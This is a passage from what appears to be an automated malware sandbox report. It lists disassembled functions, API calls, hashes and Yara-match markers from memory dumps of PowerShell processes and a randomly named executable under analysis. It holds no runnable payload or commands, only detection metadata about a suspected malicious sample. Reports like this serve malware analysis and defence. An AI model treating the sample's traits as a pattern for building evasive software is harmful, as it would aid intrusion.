Instruction Fuzzy Hash: 0DF05E32A4D6458FD668EB5CE4518E877E1EF46360B1441F6E04DC7173CE29EC45C785

Function 00007FFAAB4E51DD Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1450954317.00007FFAAB4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3550ccf439f5f470acd408071cf9e3933c56b98ce2e40298206a3f3260bbe45d
Instruction ID: 1c8d8f92369f02d572cd2fd9815dfc4094b2076ba43e558ed8aad14e23207e32
Opcode Fuzzy Hash: 3550ccf439f5f470acd408071cf9e3933c56b98ce2e40298206a3f3260bbe45d
Instruction Fuzzy Hash: ABF05832A1DA448FD6A8EB4CE4818E877E1FF4636071441AAE04DC7573CA25EC458B85

Function 00007FFAAB4E5490 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1450954317.00007FFAAB4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b18ea2d134abf75ccb74a54a47308710884cea2a0ee31d720b581f0250b6db6
Instruction ID: a89cb2d2455a85526ad7dc587181b338941a175ff5addbfb357aee7746b1cc3a
Opcode Fuzzy Hash: 4b18ea2d134abf75ccb74a54a47308710884cea2a0ee31d720b581f0250b6db6
Instruction Fuzzy Hash: 5BF05E32A0D6558FE754EB5CE4429E877E0FF4632171500F6E04DCB473DA29AC44C794

Non-executed Functions

Function 00007FFAAB4185FA Relevance: 6.4, Strings: 5, Instructions: 122COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFAAB41867A
M_^, xrefs: 00007FFAAB41866A
M_^, xrefs: 00007FFAAB41862A
M_^, xrefs: 00007FFAAB4186C9
M_^, xrefs: 00007FFAAB4185FA

Memory Dump Source

Source File: 00000007.00000002.1450542587.00007FFAAB410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab410000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^$M_^
API String ID: 0-2396788759
Opcode ID: bf42e9cd9c4bc394301d3776d8199805ecf4c8deb09fe6e5138367c71e807145
Instruction ID: 88b7ec471517cee31cd11696fbb405f8c746ca30a2a9460d03d81022c6d796c9
Opcode Fuzzy Hash: bf42e9cd9c4bc394301d3776d8199805ecf4c8deb09fe6e5138367c71e807145
Instruction Fuzzy Hash: 5B4132A3D8EAD2DBF255531D686D1A4BFD0EF62394B4D41F6C09D870B2FD1A281A41C2

Function 00007FFAAB4184FA Relevance: 6.4, Strings: 5, Instructions: 109COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFAAB41852A
M_^, xrefs: 00007FFAAB41857A
M_^, xrefs: 00007FFAAB4185C9
M_^, xrefs: 00007FFAAB4184FA
M_^, xrefs: 00007FFAAB41856A

Memory Dump Source

Source File: 00000007.00000002.1450542587.00007FFAAB410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab410000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^$M_^
API String ID: 0-2396788759
Opcode ID: f4620375d3e833f8527d8001b90780117b7842f743f2b214ba337b68bbf7825a
Instruction ID: 816b6d0ca4af033af9153d73330de387f8b4c0371c3e0a6e0a834137591fb669
Opcode Fuzzy Hash: f4620375d3e833f8527d8001b90780117b7842f743f2b214ba337b68bbf7825a
Instruction Fuzzy Hash: 59315BA2D8EAD3DBF25A43196869169FF90FF22384B4D81F6C09C470B2FD19281A45C2

Function 00007FFAAB410655 Relevance: 5.1, Strings: 4, Instructions: 118COMMON

Download Yara Rule

Strings

p0L, xrefs: 00007FFAAB4106C1
/L, xrefs: 00007FFAAB4106A1
(0L, xrefs: 00007FFAAB410711
8,L, xrefs: 00007FFAAB4106F1

Memory Dump Source

Source File: 00000007.00000002.1450542587.00007FFAAB410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab410000_powershell.jbxd

Similarity

API ID:
String ID: (0L$8,L$p0L$/L
API String ID: 0-3220053280
Opcode ID: 9406d2c22dbdae80caa8ac3a3823204eacdc4e491bfccfb482c3c71a3d8234fa
Instruction ID: 8a5910368340cf1230ce336f17bbb9e9b47b115fb048fd5ccb7b538f775eb2bb
Opcode Fuzzy Hash: 9406d2c22dbdae80caa8ac3a3823204eacdc4e491bfccfb482c3c71a3d8234fa
Instruction Fuzzy Hash: CF316083C8F6C18FF26557AC2C195656E95EFA3290B1880BFD0DC466FBD8489D0D83E5

Function 00007FFAAB410685 Relevance: 5.1, Strings: 4, Instructions: 91COMMON

Download Yara Rule

Strings

p0L, xrefs: 00007FFAAB4106C1
/L, xrefs: 00007FFAAB4106A1
(0L, xrefs: 00007FFAAB410711
8,L, xrefs: 00007FFAAB4106F1

Memory Dump Source

Source File: 00000007.00000002.1450542587.00007FFAAB410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab410000_powershell.jbxd

Similarity

API ID:
String ID: (0L$8,L$p0L$/L
API String ID: 0-3220053280
Opcode ID: 365fd05426534ce374caa555bb30a94abb56999a507846f4ad73c80a0b9e4302
Instruction ID: b5afe81510031972de2d4ff313ce581d889841818351e4a44c83c929bdb37ace
Opcode Fuzzy Hash: 365fd05426534ce374caa555bb30a94abb56999a507846f4ad73c80a0b9e4302
Instruction Fuzzy Hash: 692153C7C8F7C14FF26986A82C1A5A51E55EBA3650B1880FFE0D8466FB94949D0D83E1

Analysis Process: powershell.exePID: 7264, Parent PID: 4056COMMON

Executed Functions

Function 00007FFAAB4F0ACD Relevance: .5, Instructions: 493COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1592282384.00007FFAAB4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffaab4f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35a29425327ba5a7834ccf038e531be3299d0d4034bd4b33191e3d4370f55c15
Instruction ID: e37636857b1f1205df173f9c1dcdf4a846c13bc93cf253ac45cb62ffc866033a
Opcode Fuzzy Hash: 35a29425327ba5a7834ccf038e531be3299d0d4034bd4b33191e3d4370f55c15
Instruction Fuzzy Hash: CBE14C62A0E7C68FE7A69B7848545B57FE1DF97690B0841FBD08DC72E3D9089C0A83D1

Function 00007FFAAB4F0B9A Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1592282384.00007FFAAB4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffaab4f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08634eafa70fee1802f7472839606047f5a293d94c0b37b5c7896e3e82ac00fb
Instruction ID: 6fc89378d3ccdd70b56af03d8ea705baf9752b5deeaec95e1dd202d9cbd9c3d2
Opcode Fuzzy Hash: 08634eafa70fee1802f7472839606047f5a293d94c0b37b5c7896e3e82ac00fb
Instruction Fuzzy Hash: AC31D66290FBC78FF7A99B7848512786EC2EF966D4B1844BAD18DC32E3CC089C4943C1

Function 00007FFAAB423935 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1591155496.00007FFAAB420000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffaab420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 4d1373ae2515060758ec05591429ff86e4e2ed9c37008c95d37c158cfd2ad178
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 8501677111CB0C8FD748EF0CE451AA5B7E0FB95364F10056DE58AC3661DA36E881CB45

Non-executed Functions

Function 00007FFAAB424381 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1591155496.00007FFAAB420000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffaab420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13d937e13a62325fddd0b9d3061571f7ab6678e2fe7e173b73759a89c1dc740c
Instruction ID: 91998419a41e83ee476d63dfabae8c63239ec89d0afbff271663600ac3932906
Opcode Fuzzy Hash: 13d937e13a62325fddd0b9d3061571f7ab6678e2fe7e173b73759a89c1dc740c
Instruction Fuzzy Hash: AD312E5BA0F7A68BD701F77CF8A28E63B94EF5237670C46F7D2C986093DD05504A8292

Function 00007FFAAB420810 Relevance: 8.8, Strings: 7, Instructions: 83COMMON

Download Yara Rule

Strings

p0L, xrefs: 00007FFAAB420841
/L, xrefs: 00007FFAAB420821
H1L, xrefs: 00007FFAAB420811
-L, xrefs: 00007FFAAB4208A9
P/L, xrefs: 00007FFAAB420851
(0L, xrefs: 00007FFAAB420889
8,L, xrefs: 00007FFAAB420861

Memory Dump Source

Source File: 0000000D.00000002.1591155496.00007FFAAB420000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffaab420000_powershell.jbxd

Similarity

API ID:
String ID: (0L$8,L$H1L$P/L$p0L$-L$/L
API String ID: 0-713134170
Opcode ID: c3238a4ccc16285115c629345c0a855cfa1914335a1f6e369d80ebfb265574f2
Instruction ID: 97bd897622a5a8238e2168155186ba57dc897fe162ef59a09ae0754545ea1fe7
Opcode Fuzzy Hash: c3238a4ccc16285115c629345c0a855cfa1914335a1f6e369d80ebfb265574f2
Instruction Fuzzy Hash: 5B21718B40EBC14FF7998B981C151665FD5EF67384B0880EFE0C8466EBA9949D0C93C1

Analysis Process: xjfgcnhmcvxy.exePID: 6384, Parent PID: 932COMMON

Execution Graph

Execution Coverage:	17.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	536
Total number of Limit Nodes:	12

Executed Functions

Function 00007FF723472D40 Relevance: 26.6, APIs: 12, Strings: 3, Instructions: 387
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF723472E46
wcslen.MSVCRT ref: 00007FF723472EBE
memset.MSVCRT ref: 00007FF723472EE7
wcscpy.MSVCRT ref: 00007FF723472EF2
wcslen.MSVCRT ref: 00007FF723472EFA
memset.MSVCRT ref: 00007FF723472F36
wcscpy.MSVCRT ref: 00007FF723472F41
wcslen.MSVCRT ref: 00007FF723472F49
wcslen.MSVCRT ref: 00007FF723472F67
wcslen.MSVCRT ref: 00007FF723472F7C
wcslen.MSVCRT ref: 00007FF723472F89
wcsncmp.MSVCRT ref: 00007FF7234734B7

Strings

`, xrefs: 00007FF7234731B7
0, xrefs: 00007FF7234734FE
X, xrefs: 00007FF723473171

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: wcslen$memset$wcscpy$wcsncmp
String ID: 0$X$`
API String ID: 4021896446-2527496196
Opcode ID: 3744c05ed35942879ce9d8b1a3091a13a1ef19d16b92aaecd0754042fa3becba
Instruction ID: 91adf6126a43f6c08a108ec42a18cdfc1133beb65251290c07eda2ab0245e440
Opcode Fuzzy Hash: 3744c05ed35942879ce9d8b1a3091a13a1ef19d16b92aaecd0754042fa3becba
Instruction Fuzzy Hash: C312A422618BC185E3A09F25E8003FAB3A5FB85799F844365DE98677D9EF3CD144CB50

Function 00007FF723473650 Relevance: 10.3, APIs: 8, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF72347367B
memcpy.MSVCRT ref: 00007FF72347372E

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: fa988ff7348f1597ac17c7f2d0ab5e1806a45cb6d39aadf732a62bad80fa0c47
Instruction ID: 337b82d69a0ea8ca01d95ca90ce39c61d07eef86367a9f4c9257034da0aa9b20
Opcode Fuzzy Hash: fa988ff7348f1597ac17c7f2d0ab5e1806a45cb6d39aadf732a62bad80fa0c47
Instruction Fuzzy Hash: F2D1C121A0968285FB90FB25DC153B9A7A5FB55789FC480F5DA4CA7792EF3CE040CB20

Function 00007FF723475CEC Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_assert.MSVCRT ref: 00007FF723475D0C
calloc.MSVCRT ref: 00007FF723475D1B
TlsGetValue.KERNEL32 ref: 00007FF723475D35
TlsSetValue.KERNEL32 ref: 00007FF723475D48

Strings

../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF723475CF8
!dso || dso == &__dso_handle, xrefs: 00007FF723475D05

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: Value$_assertcalloc
String ID: !dso || dso == &__dso_handle$../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c
API String ID: 3698345500-799109717
Opcode ID: d5ae4f6e9146a6bfd6679ddb29686c0186b300b55e1eab57a404858ba7f1170d
Instruction ID: 15a98afe6def5b3c67fd4306bde1b46047531046370cdd2ec459934b05a37ea0
Opcode Fuzzy Hash: d5ae4f6e9146a6bfd6679ddb29686c0186b300b55e1eab57a404858ba7f1170d
Instruction Fuzzy Hash: 31F0F931A0A70686FB90BB50EC541B9A29AFF48742FC480F4C91D673A1EE3CA951CB21

Function 00007FF7234763AC Relevance: 9.1, APIs: 6, Instructions: 82
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF72347633E
TlsGetValue.KERNEL32 ref: 00007FF723476345
SetLastError.KERNEL32 ref: 00007FF723476350
ReleaseSemaphore.KERNEL32 ref: 00007FF7234763FE
Sleep.KERNEL32 ref: 00007FF723476512
WaitForSingleObject.KERNEL32 ref: 00007FF723476528

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: ErrorLast$ObjectReleaseSemaphoreSingleSleepValueWait
String ID:
API String ID: 4052324419-0
Opcode ID: 6104208078307cddd0997dc0b49f7738dabc4953f05204f4a792b5b9201ebec1
Instruction ID: 54609137b6cf6cc8dad07a4680381fe29561984ceb1ff62919dbee814b8120bf
Opcode Fuzzy Hash: 6104208078307cddd0997dc0b49f7738dabc4953f05204f4a792b5b9201ebec1
Instruction Fuzzy Hash: 48313F31A0A65386F6D5BB25AC04639A357FF40B57BD840F9C91DA3690CE2DE445CF24

Function 00007FF7234761F0 Relevance: 7.6, APIs: 5, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00007FF72347620B
memcpy.MSVCRT ref: 00007FF72347622B
malloc.MSVCRT ref: 00007FF723476245
memset.MSVCRT ref: 00007FF72347626F
abort.MSVCRT(?,00000000,?,00007FF723476381), ref: 00007FF723476282

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: malloc$abortmemcpymemset
String ID:
API String ID: 4174897659-0
Opcode ID: 11aa2f77687e6010a0220c0cc8b297790f50f1030fb276212690dc919bd9b299
Instruction ID: bc9eedce152142394a66883a4f4c81ffe8c2ad3d7c28e5dc92de80314f9a6845
Opcode Fuzzy Hash: 11aa2f77687e6010a0220c0cc8b297790f50f1030fb276212690dc919bd9b299
Instruction Fuzzy Hash: 7D014862F0664540E9C8BB56ED005F89251EF44FD9FC885B0CE0C67385EE3CE981C760

Function 00007FF723471560 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF723473B60: memset.MSVCRT ref: 00007FF723473B90

memset.MSVCRT ref: 00007FF7234715A8
_wgetenv.MSVCRT ref: 00007FF7234716E4

Strings

99C, xrefs: 00007FF723471656

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: memset$_wgetenv
String ID: 99C
API String ID: 1931056239-3786687225
Opcode ID: d1bab92ebf63fddee53c089ac34567189e0f2d4c6f75371f493852c7c16a1818
Instruction ID: 8a594ecc3ca321a2969728ce77144b62d093bf9a880a9f4ad9cb124ca0e0667e
Opcode Fuzzy Hash: d1bab92ebf63fddee53c089ac34567189e0f2d4c6f75371f493852c7c16a1818
Instruction Fuzzy Hash: 86410422A0978185F7A0EF25E8443BAB794FB45B84F8480F5EE8D97799EE3CD041CB10

Function 00007FF723475BC0 Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32 ref: 00007FF723475BD6
TlsSetValue.KERNEL32 ref: 00007FF723475BF6
TlsFree.KERNEL32 ref: 00007FF723475C02

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: Value$Free
String ID:
API String ID: 2242701089-0
Opcode ID: 8401260f891ce7ee36d79187eb38dcddfd7f879feec07dce31bbb832c6b4651b
Instruction ID: 5875bfa179fcc9cad90cf5bf4817280002b0d8a2e03adad7604345b7e9ff1957
Opcode Fuzzy Hash: 8401260f891ce7ee36d79187eb38dcddfd7f879feec07dce31bbb832c6b4651b
Instruction Fuzzy Hash: 2AF0F835E0A60382F690BB54EC5503AA767FB94316FC450F4C81E276B5DE2CE505DE20

Function 00007FF723471291 Relevance: 3.8, APIs: 3, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00007FF723471307
malloc.MSVCRT ref: 00007FF723471354
memcpy.MSVCRT ref: 00007FF723471368

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: malloc$memcpy
String ID:
API String ID: 3800483350-0
Opcode ID: eac881ba9be4422e74ab4bb80d3c5ac6897cf2d6396185e4c01f23072029ab8d
Instruction ID: e3e8098d25fcb04de0879112d49a336841e81d6209e0dbd4c51f77da688e29d5
Opcode Fuzzy Hash: eac881ba9be4422e74ab4bb80d3c5ac6897cf2d6396185e4c01f23072029ab8d
Instruction Fuzzy Hash: 49319E26E0860685F691BF01EC407B9A365FB04B96FC441F5CA1D67795EF3CA4898B60

Function 00007FF723473E80 Relevance: 3.8, APIs: 3, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF723473EA1
memset.MSVCRT ref: 00007FF723473ED9
wcscpy.MSVCRT ref: 00007FF723473EE4

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: memsetwcscpywcslen
String ID:
API String ID: 3616488086-0
Opcode ID: 4a904cedc9c4c55f78cb4b6f38c9d36089f92937f1aff207d21cf16635287a0a
Instruction ID: 8ef8d0a4fce8246ee39a59ba2609331950b7df9f184aa066be69ff4173982232
Opcode Fuzzy Hash: 4a904cedc9c4c55f78cb4b6f38c9d36089f92937f1aff207d21cf16635287a0a
Instruction Fuzzy Hash: 54210822A1824181E6A0AF11AC047BBE650FB847E9FC002B1EE9D67BD5DF7DD046CB40

Function 00007FF723473B60 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF723473B90

Strings

0, xrefs: 00007FF723473BDE

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

Associated: 00000010.00000002.1707564723.00007FF723470000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707871202.00007FF723678000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707897386.00007FF72367C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707923170.00007FF72367F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.1707952036.00007FF723680000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff723470000_xjfgcnhmcvxy.jbxd

Yara matches

Similarity

API ID: memset
String ID: 0
API String ID: 2221118986-4108050209
Opcode ID: bf49082e2a5bb2471ef02e236951e26930b7db1e87a132311abaa9c1bc46bc56
Instruction ID: d5a6bcc8d47008a9871db335e4f693ea4e485eee20b913c6faabf606049e13f6
Opcode Fuzzy Hash: bf49082e2a5bb2471ef02e236951e26930b7db1e87a132311abaa9c1bc46bc56
Instruction Fuzzy Hash: 4411B222B2969081E790E721E8543BBE660EFC47A8F940371FA9857BD5DF3DC5468B40

Function 00007FF723475CD0 Relevance: 2.5, APIs: 2, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.MSVCRT ref: 00007FF723475D1B
TlsGetValue.KERNEL32 ref: 00007FF723475D35

Memory Dump Source

Source File: 00000010.00000002.1707594695.00007FF723471000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF723470000, based on PE: true

